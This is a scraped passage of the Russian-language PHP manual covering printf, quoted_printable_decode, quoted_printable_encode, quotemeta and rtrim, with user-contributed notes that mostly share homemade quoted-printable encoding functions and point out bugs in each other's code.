The optional fields, which appear before the type character, control other aspects of the formatting, as follows:

type
Required character that determines whether the associated argument is interpreted as a character, a string, or a number (see the printf Type Field Characters table.
flags
Optional character or characters that control justification of output and printing of signs, blanks, decimal points, and octal and hexadecimal prefixes (see the Flag Characters table). More than one flag can appear in a format specification.
width
Optional number that specifies the minimum number of characters output (see printf Width Specification).
precision
Optional number that specifies the maximum number of characters printed for all or part of the output field, or the minimum number of digits printed for integer values (see the How Precision Values Affect Type table).
h | l | I64 | L
Optional prefixes to type-that specify the size of argument (see the Size Prefixes for printf and wprintf Format-Type Specifiers table).
sam[NOSPAM] at [NOSPAM]kingdomfaith dot com 28-Jun-2002 12:45
I don't know if this is useful to anyone, but here goes! Example for using the printf function to output an object.

class person
{
    var $name = "";
    function name($newname = NULL)
    {
        if(! is_null($newname))
        {
            $this->name=$newname;
        }
        return $this->name;
    }
    var $surname = "";
    function surname($newsurname = NULL)
    {
        if(! is_null($newsurname))
        {
            $this->surname=$newsurname;
        }
        return $this->surname;
    }
    var $age = "";
    function age($newage = NULL)
    {
        if(! is_null($newage))
        {
            $this->age=$newage;
        }
        return $this->age;
    }
}

$bob = new person;
$bob->name('Bob');
$bob->surname('Builder');
$bob->age('50');

printf("Hi %s, your surname is %s and you are %s years old", $bob->name, $bob->surname, $bob->age);

Outputs:

Hi Bob, your surname is Builder and you are 50 years old
maybird99 at yahoo dot com 26-Feb-2002 07:20
instead of writing a function to round off a float (let's call it 'x') accurately, it's much easier to add a small number to x and then truncate it...
For example: if you want to round off to the nearest integer, just add 0.5 to x and then truncate it. if x=12.6, then it would calculate 13.1, and truncate it to 13. If x=14.4, it would calculate 14.9 and truncate it to 14.
ezislis at mail dot ru 09-Feb-2002 07:25
be careful with integers, they cant hold large values.

printf("%d",10023123553.45634663);
will print out: 1433188961
and
printf("%.0f",10023123553.45634663);
will print out: 10023123553
deekayen at hotmail dot com 11-Oct-2001 05:54
You can use this function to format the decimal places in a number:

$num = 2.12;
printf("%.1f",$num);

prints:

2.1

see also: number_format()
shepard at ameth dot org 17-Sep-2001 07:37
Be sure that the output channel is available to write on before executing printf()!  Some functions in classes available from various sources (in my case, DB_Sql::query() in PHPLIB) assume that printing will work, even after the default output stream has been closed.

For me the issue was most notable in PHP4 session management when I was creating my own sess_write() handler.  Since I was unable to find any function that checks for the output stream that printf() uses, I just had to drop the crazy use of the printf(). (does some function already exist to check for the presence of an output stream?)
dhosek at excite dot com 05-Dec-1999 02:27
Be careful:
printf ("(9.95 * 100) = %d \n", (9.95 * 100));

'994'

First %d converts a float to an int by truncation.

Second floats are notorious for tiny little rounding errors.


Преобразовывает строку, закодированную методом quoted-printable, в 8-битную строку

  • « printf
  • quoted_printable_encode »
  • PHP Manual
  • Функции для работы со строками
  • Преобразовывает строку, закодированную методом quoted-printable, в 8-битную строку

quoted_printable_decode

(PHP 4, PHP 5, PHP 7, PHP 8)

quoted_printable_decode — Преобразовывает строку, закодированную методом quoted-printable, в 8-битную строку

Описание

quoted_printable_decode(string $string): string

Эта функция возвращает 8-битную бинарную строку, соответствующую указанной строке в кодировке quoted-printable (в соответствии с разделом 6.7 » RFC2045, а не разделом 4.5.2 » RFC2821, то есть дополнительные точки не будут вырезаны из начала строки).

Эта функция подобна функции imap_qprint(), но не требует для своей работы модуля IMAP.

Список параметров

string

Входная строка.

Возвращаемые значения

Возвращает 8-битную бинарную строку.

Примеры

Пример #1 Пример использования quoted_printable_decode()

<?php

$encoded = quoted_printable_encode('Mochten Sie ein paar Apfel?');

var_dump($encoded);
var_dump(quoted_printable_decode($encoded));
?>

Результат выполнения приведённого примера:

string(37) "M=C3=B6chten Sie ein paar =C3=84pfel?"
string(29) "Mochten Sie ein paar Apfel?"

Смотрите также

  • quoted_printable_encode() - Преобразовывает 8-битную строку методом quoted-printable

User Contributed Notes

jab_creations at yahoo dot com 28-Nov-2020 08:01
If you're getting black diamonds or weird characters that seemingly block an echo but still encounter strlen($string) > 0 you're probably encountering an encoding issue. Unlike the people writing ENCODE functions on a DECODE page I will actually talk about DECODE on a DECODE page.

The specific problem I encountered was that an email was encoded using a Russian encoding (KOI8-R) though I output everything as UTF-8 because: compatibility.

If you try to do this with a Russian encoding:

<?php
echo quoted_printable_decode('=81');
?>

You'll get that corrupted data.

I did a couple of tests and it turns out the following is how you nest the mb_convert_encoding function:

<?php
echo '<p>Test: "'.mb_convert_encoding(quoted_printable_decode('=81'), 'UTF-8', 'KOI8-R').'".</p>';
?>

Unfortunately I could not find a character mapping table or anything listed under RFC 2045 Section 6.7. However I came across the website https://dencode.com/en/string/quoted-printable which allows you to manually choose the encoding (it's an open source site, they have a GIT repository for the morbidly curious).

As it turns out the start of the range is relative to the encoding. So Latin (ISO-8859-1) and Russian (KOI8-R) will likely (not tested this) encode to different characters **relative to the string encoding**.
naitsirch at e dot mail dot de 25-May-2020 02:31
If there is a NULL byte in the string that is passed, quoted_printable_decode will crop everything after the NULL byte and the NULL byte itself.

<?php
$result = quoted_printable_decode("This is a\0 test.");
// $result === 'This is a'
?>

This is not a bug, but the intended behaviour and defined by RFC 2045 (see https://www.ietf.org/rfc/rfc2045.txt) in paragraph 2.7 and 2.8.
sven at e7o dot de 06-Dec-2019 12:13
If you're really lazy and producing HTML anyways and the end, just convert it to HTML entities and move the Unicode/ISO struggling to the document's encoding:

<?php
function qpd($e)
{
    return preg_replace_callback(
        '/=([a-z0-9]{2})/i',
        function ($m) {
            return '&#x00' . $m[1] . ';';
        },
        $e
    );
}
?>
yual at inbox dot ru 23-Oct-2013 08:38
I use a hack for this bug:

$str = str_replace("=\r\n", '', quoted_printable_encode($str));
if (strlen($str) > 73) {$str = substr($str,0,74)."=\n".substr($str,74);}
feedr 06-Mar-2009 02:39
Another (improved) version of quoted_printable_encode(). Please note the order of the array elements in str_replace().
I've just rewritten the previous function for better readability.

<?php
if (!function_exists("quoted_printable_encode")) {
  /**
  * Process a string to fit the requirements of RFC2045 section 6.7. Note that
  * this works, but replaces more characters than the minimum set. For readability
  * the spaces and CRLF pairs aren't encoded though.
  */
  function quoted_printable_encode($string) {
        $string = str_replace(array('%20', '%0D%0A', '%'), array(' ', "\r\n", '='), rawurlencode($string));
        $string = preg_replace('/[^\r\n]{73}[^=\r\n]{2}/', "$0=\r\n", $string);

        return $string;
  }
}
?>
andre at luyer dot nl 02-Nov-2008 12:36
A small update for Andrew's code below. This one leaves the original CRLF pairs intact (and allowing the preg_replace to work as intended):

<?php
if (!function_exists("quoted_printable_encode")) {
  /**
  * Process a string to fit the requirements of RFC2045 section 6.7. Note that
  * this works, but replaces more characters than the minimum set. For readability
  * the spaces and CRLF pairs aren't encoded though.
  */
  function quoted_printable_encode($string) {
    return preg_replace('/[^\r\n]{73}[^=\r\n]{2}/', "$0=\r\n",
      str_replace("%", "=", str_replace("%0D%0A", "\r\n",
        str_replace("%20"," ",rawurlencode($string)))));
  }
}
?>

Regards, Andre
Karora 19-Oct-2008 08:27
Taking a bunch of the earlier comments together, you can synthesize a nice short and reasonably efficient quoted_printable_encode function like this:

Note that I put this in my standard library file, so I wrap it in a !function_exists in order that if there is a pre-existing PHP one it will just work and this will evaluate to a noop.

<?php
if ( !function_exists("quoted_printable_encode") ) {
  /**
  * Process a string to fit the requirements of RFC2045 section 6.7.  Note that
  * this works, but replaces more characters than the minimum set. For readability
  * the spaces aren't encoded as =20 though.
  */
  function quoted_printable_encode($string) {
    return preg_replace('/[^\r\n]{73}[^=\r\n]{2}/', "$0=\r\n", str_replace("%","=",str_replace("%20"," ",rawurlencode($string))));
  }
}
?>

Regards,
Andrew McMillan.
zg 27-Sep-2008 06:48
<?php

function quoted_printable_encode( $str, $chunkLen = 72 )
{
    $offset = 0;

    $str = strtr(rawurlencode($str), array('%' => '='));
    $len = strlen($str);
    $enc = '';

    while ( $offset < $len )
    {
        if ( $str{ $offset + $chunkLen - 1 } === '=' )
        {
            $line = substr($str, $offset, $chunkLen - 1);
            $offset += $chunkLen - 1;
        }
        elseif ( $str{ $offset + $chunkLen - 2 } === '=' )
        {
            $line = substr($str, $offset, $chunkLen - 2);
            $offset += $chunkLen - 2;
        }
        else
        {
            $line = substr($str, $offset, $chunkLen);
            $offset += $chunkLen;
        }

        if ( $offset + $chunkLen < $len )
            $enc .= $line ."=\n";
        else
            $enc .= $line;
    }

    return $enc;
}

?>
Christian Albrecht 24-Sep-2008 03:10
In Addition to david lionhead's function:

<?php
function quoted_printable_encode($txt) {
    /* Make sure there are no %20 or similar */
    $txt = rawurldecode($txt);
    $tmp="";
    $line="";
    for ($i=0;$i<strlen($txt);$i++) {
        if (($txt[$i]>='a' && $txt[$i]<='z') || ($txt[$i]>='A' && $txt[$i]<='Z') || ($txt[$i]>='0' && $txt[$i]<='9')) {
            $line.=$txt[$i];
            if (strlen($line)>=75) {
                $tmp.="$line=\n";
                $line="";
            }
        }
        else {
            /* Important to differentiate this case from the above */
            if (strlen($line)>=72) {
            $tmp.="$line=\n";
            $line="";
            }
            $line.="=".sprintf("%02X",ord($txt[$i]));
        }
    }
    $tmp.="$line\n";
    return $tmp;
}
?>
david at lionhead dot nl 18-Aug-2008 05:54
My version of quoted_printable encode, as the convert.quoted-printable-encode filter breaks on outlook express. This one seems to work on express/outlook/thunderbird/gmail.

function quoted_printable_encode($txt) {
    $tmp="";
    $line="";
    for ($i=0;$i<strlen($txt);$i++) {
        if (($txt[$i]>='a' && $txt[$i]<='z') || ($txt[$i]>='A' && $txt[$i]<='Z') || ($txt[$i]>='0' && $txt[$i]<='9'))
            $line.=$txt[$i];
        else
            $line.="=".sprintf("%02X",ord($txt[$i]));
        if (strlen($line)>=75) {
            $tmp.="$line=\n";
            $line="";
        }
    }
    $tmp.="$line\n";
    return $tmp;
}
vita dot plachy at seznam dot cz 23-Mar-2008 08:22
<?php
$text = <<<EOF
This function enables you to convert text to a quoted-printable string as well as to create encoded-words used in email headers (see http://www.faqs.org/rfcs/rfc2047.html).

No line of returned text will be longer than specified. Encoded-words will not contain a newline character. Special characters are removed.
EOF;

define('QP_LINE_LENGTH', 75);
define('QP_LINE_SEPARATOR', "\r\n");

function quoted_printable_encode($string, $encodedWord = false)
{
    if(!preg_match('//u', $string)) {
        throw new Exception('Input string is not valid UTF-8');
    }

    static $wordStart = '=?UTF-8?Q?';
    static $wordEnd = '?=';
    static $endl = QP_LINE_SEPARATOR;

    $lineLength = $encodedWord
        ? QP_LINE_LENGTH - strlen($wordStart) - strlen($wordEnd)
        : QP_LINE_LENGTH;

    $string = $encodedWord
        ? preg_replace('~[\r\n]+~', ' ', $string)    // we need encoded word to be single line
        : preg_replace('~\r\n?~', "\n", $string);    // normalize line endings
    $string = preg_replace('~[\x00-\x08\x0B-\x1F]+~', '', $string);    // remove control characters

    $output = $encodedWord ? $wordStart : '';
    $charsLeft = $lineLength;

    $chr = isset($string{0}) ? $string{0} : null;
    $ord = ord($chr);

    for ($i = 0; isset($chr); $i++) {
        $nextChr = isset($string{$i + 1}) ? $string{$i + 1} : null;
        $nextOrd = ord($nextChr);

        if (
            $ord > 127 or    // high byte value
            $ord === 95 or    // underscore "_"
            $ord === 63 && $encodedWord or    // "?" in encoded word
            $ord === 61 or    // equal sign "="
            // space or tab in encoded word or at line end
            $ord === 32 || $ord === 9 and $encodedWord || !isset($nextOrd) || $nextOrd === 10
        ) {
            $chr = sprintf('=%02X', $ord);
        }

        if ($ord === 10) {    // line feed
            $output .= $endl;
            $charsLeft = $lineLength;
        } elseif (
            strlen($chr) < $charsLeft or
            strlen($chr) === $charsLeft and $nextOrd === 10 || $encodedWord
        ) {    // add character
            $output .= $chr;
            $charsLeft-=strlen($chr);
        } elseif (isset($nextOrd)) {    // another line needed
            $output .= $encodedWord
                ? $wordEnd . $endl . "\t" . $wordStart . $chr
                : '=' . $endl . $chr;
            $charsLeft = $lineLength - strlen($chr);
        }

        $chr = $nextChr;
        $ord = $nextOrd;
    }

    return $output . ($encodedWord ? $wordEnd : '');
}

echo quoted_printable_encode($text/*, true*/);
ludwig at gramberg-webdesign dot de 24-Sep-2007 12:13
my approach for quoted printable encode using the stream converting abilities

<?php
/**
 * @param string $str
 * @return string
 * */
function quoted_printable_encode($str) {
    $fp = fopen('php://temp', 'w+');
    stream_filter_append($fp, 'convert.quoted-printable-encode');
    fwrite($fp, $str);
    fseek($fp, 0);
    $result = '';
    while(!feof($fp))
        $result .= fread($fp, 1024);
    fclose($fp);
    return $result;
}
?>
roelof 24-Jul-2007 07:06
I modified the below version of legolas558 at users dot sausafe dot net and added a wrapping option.

<?php
/**
 *    Codeer een String naar zogenaamde 'quoted printable'. Dit type van coderen wordt
 *    gebruikt om de content van 8 bit e-mail berichten als 7 bits te versturen.
 *
 *    @access public
 *    @param string    $str    De String die we coderen
 *    @param bool      $wrap   Voeg linebreaks toe na 74 tekens?
 *    @return string
 */

function quoted_printable_encode($str, $wrap=true)
{
    $return = '';
    $iL = strlen($str);
    for($i=0; $i<$iL; $i++)
    {
        $char = $str[$i];
        if(ctype_print($char) && !ctype_punct($char)) $return .= $char;
        else $return .= sprintf('=%02X', ord($char));
    }
    return ($wrap === true)
        ? wordwrap($return, 74, " =\n")
        : $return;
}

?>
legolas558 at users dot sausafe dot net 21-Feb-2007 11:09
As soletan at toxa dot de reported, that function is very bad and does not provide valid enquoted printable strings. While using it I saw spam agents marking the emails as QP_EXCESS and sometimes the email client did not recognize the header at all; I really lost time :(. This is the new version (we use it in the Drake CMS core) that works seamlessly:

<?php

//L: note $encoding that is uppercase
//L: also your PHP installation must have ctype_alpha, otherwise write it yourself
function quoted_printable_encode($string, $encoding='UTF-8') {
// use this function with headers, not with the email body as it misses word wrapping
       $len = strlen($string);
       $result = '';
       $enc = false;
       for($i=0;$i<$len;++$i) {
        $c = $string[$i];
        if (ctype_alpha($c))
            $result.=$c;
        else if ($c==' ') {
            $result.='_';
            $enc = true;
        } else {
            $result.=sprintf("=%02X", ord($c));
            $enc = true;
        }
       }
       //L: so spam agents won't mark your email with QP_EXCESS
       if (!$enc) return $string;
       return '=?'.$encoding.'?q?'.$result.'?=';
}

I hope it helps ;)

?>
soletan at toxa dot de 20-Feb-2007 03:54
Be warned! The method below for encoding text does not work as requested by RFC1521!

Consider a line consisting of 75 'A' and a single e (or similar non-ASCII character) ... the method below would encode and return a line of 78 octets, breaking with RFC 1521, 5.1 Rule #5: "The Quoted-Printable encoding REQUIRES that encoded lines be no more than 76 characters long."

Good QP-encoding takes a bit more than this.
legolas558 12-Feb-2007 10:32
Please note that in the below encode function there is a bug!

<?php
if (($c==0x3d) || ($c>=0x80) || ($c<0x20))
?>

$c should be checked against less or equal to encode spaces!

so the correct code is

<?php
if (($c==0x3d) || ($c>=0x80) || ($c<=0x20))
?>

Fix the code or post this note, please
Thomas Pequet / Memotoo.com 19-Oct-2006 06:15
If you want a function to do the reverse of "quoted_printable_decode()", follow the link you will find the "quoted_printable_encode()" function:
http://www.memotoo.com/softs/public/PHP/quoted printable_encode.inc.php

Compatible "ENCODING=QUOTED-PRINTABLE"
Example:
quoted_printable_encode(ut8_encode("c'est quand l'ete ?"))
-> "c'est quand l'=C3=A9t=C3=A9 ?"
steffen dot weber at computerbase dot de 22-Jul-2005 02:08
As the two digit hexadecimal representation SHOULD be in uppercase you want to use "=%02X" (uppercase X) instead of "=%02x" as the first argument to sprintf().
dmitry at koterov dot ru 19-Feb-2005 05:26
Previous comment has a bug: encoding of short test does not work because of incorrect usage of preg_match_all(). Have somebody read it at all? :-)

Correct version (seems), with additional imap_8bit() function emulation:

if (!function_exists('imap_8bit')) {
 function imap_8bit($text) {
   return quoted_printable_encode($text);
 }
}

function quoted_printable_encode_character ( $matches ) {
   $character = $matches[0];
   return sprintf ( '=%02x', ord ( $character ) );
}

// based on http://www.freesoft.org/CIE/RFC/1521/6.htm
function quoted_printable_encode ( $string ) {
   // rule #2, #3 (leaves space and tab characters in tact)
   $string = preg_replace_callback (
     '/[^\x21-\x3C\x3E-\x7E\x09\x20]/',
     'quoted_printable_encode_character',
     $string
   );
   $newline = "=\r\n"; // '=' + CRLF (rule #4)
   // make sure the splitting of lines does not interfere with escaped characters
   // (chunk_split fails here)
   $string = preg_replace ( '/(.{73}[^=]{0,3})/', '$1'.$newline, $string);
   return $string;
}
pob at medienrecht dot NOSPAM dot org 18-Jul-2001 01:06
If you do not have access to imap_* and do not want to use
?$message = chunk_split( base64_encode($message) );?
because you want to be able to read the ?source? of your mails, you might want to try this:
(any suggestions very welcome!)

function qp_enc($input = "quoted-printable encoding test string", $line_max = 76) {

    $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
    $lines = preg_split("/(?:\r\n|\r|\n)/", $input);
    $eol = "\r\n";
    $escape = "=";
    $output = "";

    while( list(, $line) = each($lines) ) {
        //$line = rtrim($line); // remove trailing white space -> no =20\r\n necessary
        $linlen = strlen($line);
        $newline = "";
        for($i = 0; $i < $linlen; $i++) {
            $c = substr($line, $i, 1);
            $dec = ord($c);
            if ( ($dec == 32) && ($i == ($linlen - 1)) ) { // convert space at eol only
                $c = "=20";
            } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
                $h2 = floor($dec/16); $h1 = floor($dec%16);
                $c = $escape.$hex["$h2"].$hex["$h1"];
            }
            if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
                $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
                $newline = "";
            }
            $newline .= $c;
        } // end of for
        $output .= $newline.$eol;
    }
    return trim($output);

}

$eight_bit = "\xA7 \xC4 \xD6 \xDC \xE4 \xF6 \xFC \xDF         =          xxx             yyy       zzz          \r\n"
            ." \xA7      \r \xC4 \n \xD6 \x09    ";
print $eight_bit."\r\n---------------\r\n";
$encoded = qp_enc($eight_bit);
print $encoded;
madmax at express dot ru 03-Aug-2000 05:41
Some  browser (netscape, for example)
send 8-bit quoted printable text like this:
=C5=DD=A3=D2=C1= =DA

"= =" means continuos word.
 php function not detect this situations and translate in string like:
 abcde=f


Преобразовывает 8-битную строку методом quoted-printable

  • « quoted_printable_decode
  • quotemeta »
  • PHP Manual
  • Функции для работы со строками
  • Преобразовывает 8-битную строку методом quoted-printable

quoted_printable_encode

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

quoted_printable_encode — Преобразовывает 8-битную строку методом quoted-printable

Описание

quoted_printable_encode(string $string): string

Возвращает строку, закодированную в формат quoted-printable в соответствии с разделом 6.7 » RFC2045.

Эта функция подобна функции imap_8bit(), за исключением того, что не требует для своей работы модуля IMAP.

Список параметров

string

Входная строка.

Возвращаемые значения

Возвращает закодированную строку.

Примеры

Пример #1 Пример использования quoted_printable_encode()

<?php

$encoded = quoted_printable_encode('Mochten Sie ein paar Apfel?');

var_dump($encoded);
var_dump(quoted_printable_decode($encoded));
?>

Результат выполнения приведённого примера:

string(37) "M=C3=B6chten Sie ein paar =C3=84pfel?"
string(29) "Mochten Sie ein paar Apfel?"

Смотрите также

  • quoted_printable_decode() - Преобразовывает строку, закодированную методом quoted-printable, в 8-битную строку
  • iconv_mime_encode() - Создаёт поле MIME-заголовка

User Contributed Notes

marcus at synchromedia dot co dot uk 13-Feb-2017 07:48
Note that this function returns the quoted-printable string with Windows / RFC822 CRLF line breaks. If you're passing the output of this function into mail(), you may need to convert its line breaks to Unix LF style first.
jurgen at edesign dot nl 02-Oct-2014 09:16
Both PHP's native implementation and the function of ericth at NOSPAM dot pennyworth dot com (below) contain an feature/error (usage for SMTP mismatch) which has been solved in my adjustment below.

The error causes a text containing period character(s), when passed through these functions, end up with encoded lines starting with a period character, the first period character on that line will be discarded when it is transported over SMTP.

Solution: add (another) leading '.' to period characters which would end up as first character on a line when encoded.

See http://stackoverflow.com/a/13949483: "This is a dirty artifact of your transport layer... SMTP is the most probable culprit (see the call for caution in the mail function documentation) but there may be other low level mecanisms that behave similarly. For example if you tweaked the sendmail_path setting or use a buggy sendmail program you may experience similar woes."

<?php
define('PHP_QPRINT_MAXL', 75);

function leading_dot_fixed_php_quot_print_encode($str)
{
    $lp = 0;
    $ret = '';
    $hex = "0123456789ABCDEF";
    $length = strlen($str);
    $str_index = 0;

    while ($length--) {
        if ((($c = $str[$str_index++]) == "\015") && ($str[$str_index] == "\012") && $length > 0) {
            $ret .= "\015";
            $ret .= $str[$str_index++];
            $length--;
            $lp = 0;
        } else {
            if (ctype_cntrl($c)
                || (ord($c) == 0x7f)
                || (ord($c) & 0x80)
                || ($c == '=')
                || (($c == ' ') && ($str[$str_index] == "\015")))
            {
                if (($lp += 3) > PHP_QPRINT_MAXL)
                {
                    $ret .= '=';
                    $ret .= "\015";
                    $ret .= "\012";
                    $lp = 3;
                }
                $ret .= '=';
                $ret .= $hex[ord($c) >> 4];
                $ret .= $hex[ord($c) & 0xf];
            }
            else
            {
                if ((++$lp) > PHP_QPRINT_MAXL)
                {
                    $ret .= '=';
                    $ret .= "\015";
                    $ret .= "\012";
                    $lp = 1;
                }
                $ret .= $c;
                if($lp == 1 && $c == '.') {
                    $ret .= '.';
                    $lp++;
                }
            }
        }
    }

    return $ret;
}

?>
ericth at NOSPAM dot pennyworth dot com 07-Oct-2011 01:46
I have re-written the PHP 5.3.8 function for quoted_printable_encode into PHP for use with PHP < 5.3.  Tested with PHP 5.2.11.

<?php
define('PHP_QPRINT_MAXL', 75);

function php_quot_print_encode($str)
{
    $lp = 0;
    $ret = '';
    $hex = "0123456789ABCDEF";
    $length = strlen($str);
    $str_index = 0;

    while ($length--) {
        if ((($c = $str[$str_index++]) == "\015") && ($str[$str_index] == "\012") && $length > 0) {
            $ret .= "\015";
            $ret .= $str[$str_index++];
            $length--;
            $lp = 0;
        } else {
            if (ctype_cntrl($c)
                || (ord($c) == 0x7f)
                || (ord($c) & 0x80)
                || ($c == '=')
                || (($c == ' ') && ($str[$str_index] == "\015")))
            {
                if (($lp += 3) > PHP_QPRINT_MAXL)
                {
                    $ret .= '=';
                    $ret .= "\015";
                    $ret .= "\012";
                    $lp = 3;
                }
                $ret .= '=';
                $ret .= $hex[ord($c) >> 4];
                $ret .= $hex[ord($c) & 0xf];
            }
            else
            {
                if ((++$lp) > PHP_QPRINT_MAXL)
                {
                    $ret .= '=';
                    $ret .= "\015";
                    $ret .= "\012";
                    $lp = 1;
                }
                $ret .= $c;
            }
        }
    }

    return $ret;
}

?>
arnaudv6 15-Aug-2011 08:56
One will like to know and clearly read that RFC2045 specifies a line shall not exceed 75 characters.
Accordingly, quoted_printable_encode() splits line at this limit.
Thorsten Glaser 24-Sep-2010 06:05
Two bugs:

1) your linebreak is wrong

                $linebreak = "\r\n";

2) continuation of lines with no whitespace is broken

                                        /*
                                         * the text after the whitespace will have to
                                         * be read again ( + any additional characters
                                         * that came into existence as a result of the
                                         * encoding process after the whitespace)
                                         *
                                         * Also, do not start at 0, if there was *no*
                                         * whitespace in the whole line
                                         */
                                        if (($i + $addtl_chars) > $whitesp_diff) {
                                                $output .= substr($cur_conv_line, 0,
                                                    (strlen($cur_conv_line) - $whitesp_diff)) .
                                                    $linebreak;
                                                $i = $i - $whitesp_diff + $addtl_chars;
                                        } else {
                                                /* emit continuation --mirabilos */
                                                $output .= $cur_conv_line .
                                                    '=' . $linebreak;
                                        }
tzangerl [dot] pdc {dot} kth dot se 09-Apr-2010 02:05
A function that QP-encodes an input string (written for PHP < 5.3) and
wordwraps it at the same time, in order to avoid classification according to the MIME QP LONG LINE rule of SpamAssassin.  Thanks for Matt Jeffers to point out errors in the below quoted_printable script!

<?php
function quoted_printable_encode($input, $line_max = 75) {
   $hex = array('0','1','2','3','4','5','6','7',
                          '8','9','A','B','C','D','E','F');
   $lines = preg_split("/(?:\r\n|\r|\n)/", $input);
   $linebreak = "=0D=0A=\r\n";
   /* the linebreak also counts as characters in the mime_qp_long_line
    * rule of spam-assassin */
   $line_max = $line_max - strlen($linebreak);
   $escape = "=";
   $output = "";
   $cur_conv_line = "";
   $length = 0;
   $whitespace_pos = 0;
   $addtl_chars = 0;

   // iterate lines
   for ($j=0; $j<count($lines); $j++) {
     $line = $lines[$j];
     $linlen = strlen($line);

     // iterate chars
     for ($i = 0; $i < $linlen; $i++) {
       $c = substr($line, $i, 1);
       $dec = ord($c);

       $length++;

       if ($dec == 32) {
          // space occurring at end of line, need to encode
          if (($i == ($linlen - 1))) {
             $c = "=20";
             $length += 2;
          }

          $addtl_chars = 0;
          $whitespace_pos = $i;
       } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) {
          $h2 = floor($dec/16); $h1 = floor($dec%16);
          $c = $escape . $hex["$h2"] . $hex["$h1"];
          $length += 2;
          $addtl_chars += 2;
       }

       // length for wordwrap exceeded, get a newline into the text
       if ($length >= $line_max) {
         $cur_conv_line .= $c;

         // read only up to the whitespace for the current line
         $whitesp_diff = $i - $whitespace_pos + $addtl_chars;

        /* the text after the whitespace will have to be read
         * again ( + any additional characters that came into
         * existence as a result of the encoding process after the whitespace)
         *
         * Also, do not start at 0, if there was *no* whitespace in
         * the whole line */
         if (($i + $addtl_chars) > $whitesp_diff) {
            $output .= substr($cur_conv_line, 0, (strlen($cur_conv_line) -
                           $whitesp_diff)) . $linebreak;
            $i =  $i - $whitesp_diff + $addtl_chars;
          } else {
            $output .= $cur_conv_line . $linebreak;
          }

        $cur_conv_line = "";
        $length = 0;
        $whitespace_pos = 0;
      } else {
        // length for wordwrap not reached, continue reading
        $cur_conv_line .= $c;
      }
    } // end of for

    $length = 0;
    $whitespace_pos = 0;
    $output .= $cur_conv_line;
    $cur_conv_line = "";

    if ($j<=count($lines)-1) {
      $output .= $linebreak;
    }
  } // end for

  return trim($output);
} // end quoted_printable_encode
?>


Экранирует специальные символы

  • « quoted_printable_encode
  • rtrim »
  • PHP Manual
  • Функции для работы со строками
  • Экранирует специальные символы

quotemeta

(PHP 4, PHP 5, PHP 7, PHP 8)

quotemeta — Экранирует специальные символы

Описание

quotemeta(string $string): string

Возвращает модифицированную строку, в которой перед каждым символом из следующего списка:

. \ + * ? [ ^ ] ( $ )
вставлен обратный слеш (\).

Список параметров

string

Входная строка.

Возвращаемые значения

Возвращает экранированную строку или false, если в качестве параметра string была указана пустая строка.

Примеры

Пример #1 Пример использования quotemeta()

<?php

var_dump(quotemeta('PHP is a popular scripting language. Fast, flexible, and pragmatic.'));
?>

Результат выполнения приведённого примера:

string(69) "PHP is a popular scripting language\. Fast, flexible, and pragmatic\."

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Смотрите также

  • addslashes() - Экранирует строку с помощью слешей
  • addcslashes() - Экранирует строку слешами в стиле языка C
  • htmlentities() - Преобразовывает возможные символы в HTML-сущности
  • htmlspecialchars() - Преобразовывает специальные символы в HTML-сущности
  • nl2br() - Вставляет HTML-код разрыва строки перед каждым переводом строки
  • stripslashes() - Удаляет экранирование символов
  • stripcslashes() - Удаляет экранирование символов, произведённое функцией addcslashes
  • preg_quote() - Экранирует символы в регулярных выражениях

User Contributed Notes

kumarkulandai at gmail dot com 26-Oct-2009 11:29
<?php
$str = "Hello world. (can you hear me?)";
echo quotemeta($str);
?>

The output of the code above will be:
Hello world\. \(can you hear me\?\)
George Adams 16-Feb-2006 08:57
Took me a while to realize this was NOT the command I wanted for escaping potentially harmful characters in a string that would be used as part of a system command.  Instead, I needed either escapeshellarg() (http://www.php.net/manual/en/function.escapeshellarg.php) or escapeshellcmd() (http://www.php.net/manual/en/function.escapeshellcmd.php)
15-May-2001 03:41
This function escapes characters that have special meaning in regular expressions.  preg_quote() <http://php.net/manual/en/function.preg-quote.php> has similar functionality, but is more powerful since it escapes more characters (including one user-specified character).


Удаляет пробелы (или другие символы) из конца строки

  • « quotemeta
  • setlocale »
  • PHP Manual
  • Функции для работы со строками
  • Удаляет пробелы (или другие символы) из конца строки

rtrim

(PHP 4, PHP 5, PHP 7, PHP 8)

rtrim — Удаляет пробелы (или другие символы) из конца строки

Описание

rtrim(string $string, string $characters = " \n\r\t\v\x00"): string

Эта функция возвращает строку string с удалёнными из конца строки пробельными (или другими) символами.

Если второй параметр не передан, rtrim() удаляет следующие символы:

  • " " (ASCII 32 (0x20)), обычный пробел.
  • "\t" (ASCII 9 (0x09)), символ табуляции.
  • "\n" (ASCII 10 (0x0A)), символ перевода строки.
  • "\r" (ASCII 13 (0x0D)), символ возврата каретки.
  • "\0" (ASCII 0 (0x00)), NULL-байт.
  • "\v" (ASCII 11 (0x0B)), вертикальная табуляция.

Список параметров

string

Входная строка.

characters

С помощью параметра characters можно также указать удаляемые символы. Просто перечислите все символы, которые вы хотите удалить. Можно указать конструкцию .. для обозначения диапазона символов.

Возвращаемые значения

Возвращает модифицированную строку.

Примеры

Пример #1 Пример использования rtrim()

<?php

$text = "\t\tThese are a few words :) ... ";
$binary = "\x09Example string\x0A";
$hello = "Hello World";
var_dump($text, $binary, $hello);

print "\n";

$trimmed = rtrim($text);
var_dump($trimmed);

$trimmed = rtrim($text, " \t.");
var_dump($trimmed);

$trimmed = rtrim($hello, "Hdle");
var_dump($trimmed);

// удаляем управляющие ASCII-символы с конца $binary
// (от 0 до 31 включительно)
$clean = rtrim($binary, "\x00..\x1F");
var_dump($clean);

?>

Результат выполнения приведённого примера:

string(32) "        These are a few words :) ...  "
string(16) "    Example string
"
string(11) "Hello World"

string(30) "        These are a few words :) ..."
string(26) "        These are a few words :)"
string(9) "Hello Wor"
string(15) "    Example string"

Смотрите также

  • trim() - Удаляет пробелы (или другие символы) из начала и конца строки
  • ltrim() - Удаляет пробелы (или другие символы) из начала строки

User Contributed Notes

andreipop2005 at gmail dot com 13-Jul-2015 09:24
Trim limit would be really helpfull. I made a little helper function to do a rtrim with a limited number of replaces:

<?php
